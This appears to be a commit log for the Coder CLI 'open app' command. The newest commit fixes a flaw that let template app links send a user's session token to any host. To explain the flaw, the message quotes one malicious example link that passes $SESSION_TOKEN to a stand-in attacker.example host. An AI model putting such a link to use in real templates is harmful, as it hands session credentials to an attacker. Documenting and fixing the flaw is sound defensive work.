Commit Graph
7 Commits
Author SHA1 Message Date
dylanhuff-at-coderandClaude Opus 5.5 34a14cb552 fix: only add the session token to trusted app links in coder open app (#31721)
`coder open app` filled in `$SESSION_TOKEN` for every external app
defined in a template, wherever the link pointed. Since #31208 the
dashboard only does that when the link opens a known Coder IDE handler
and its `url` param is this deployment, so a template app like
`vscode://coder.coder-remote/open?url=https://attacker.example&token=$SESSION_TOKEN`
was blocked in the dashboard but still got the token from the CLI.

This ports the same check to the CLI. A link is trusted when its `url`
matches the URL the CLI is logged in to or the deployment's dashboard
URL from build info. Links that fail the check are printed with a
warning and not opened, the same way sub-agent apps with the placeholder
already are. The Go check mirrors `isSessionTokenDestinationTrusted` in
`site/src/modules/apps/apps.ts` and the unit tests reuse its cases.
Params are parsed like `URLSearchParams`, which is what the IDE
extensions use. Where Go can't match the browser exactly, the CLI
rejects the link instead: non-ASCII hosts (browsers map them through
IDNA) and invalid percent escapes.

Heads up that template apps the dashboard already blocks will now stop
getting a token from `coder open app` too. This also adds a short
section to the template apps docs on when external app links get a
session token, since that wasn't documented for the dashboard either.

Fixes CLI-57

Follow-up to CORE-783:
https://linear.app/codercom/issue/CORE-783/security-coordinate-backend-validation-for-session-token-app-url

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 09:38:12 -08:00
Kayla はな f6233e622b fix(cli): use app slug instead of raw command in terminal URLs (#24827) 2026-05-05 19:43:08 -06:00
ケイラ fae30a00fd chore: remove unnecessary redeclarations in for loops (#18440) 2025-06-20 13:16:55 -06:00
Bruno Quaresma d779126ee3 chore: rollback PR #18081 (#18104)
Rollback https://github.com/coder/coder/pull/18081
2025-05-29 13:12:13 -03:00
Bruno Quaresma 2ec7404197 chore: make owner_name and owner_username consistent (#18081)
We've been using owner_name inconsistently as username. So this PR fixes
it by making the attribute naming more consistent.
2025-05-28 17:25:32 -03:00
Cian Johnston 0474888eb4 feat(cli): add open app <workspace> <app-slug> command (#17032)
Fixes https://github.com/coder/coder/issues/17009

Adds a CLI command `coder open app <workspace> <app-slug>` that allows
opening arbitrary `coder_apps` via the CLI.

Users can optionally specify a region for workspace
applications.
2025-03-21 15:28:08 +00:00
Mathias Fredriksson df3c310379 feat(cli): add coder open vscode (#11191)
Fixes #7667
2024-01-02 20:46:18 +02:00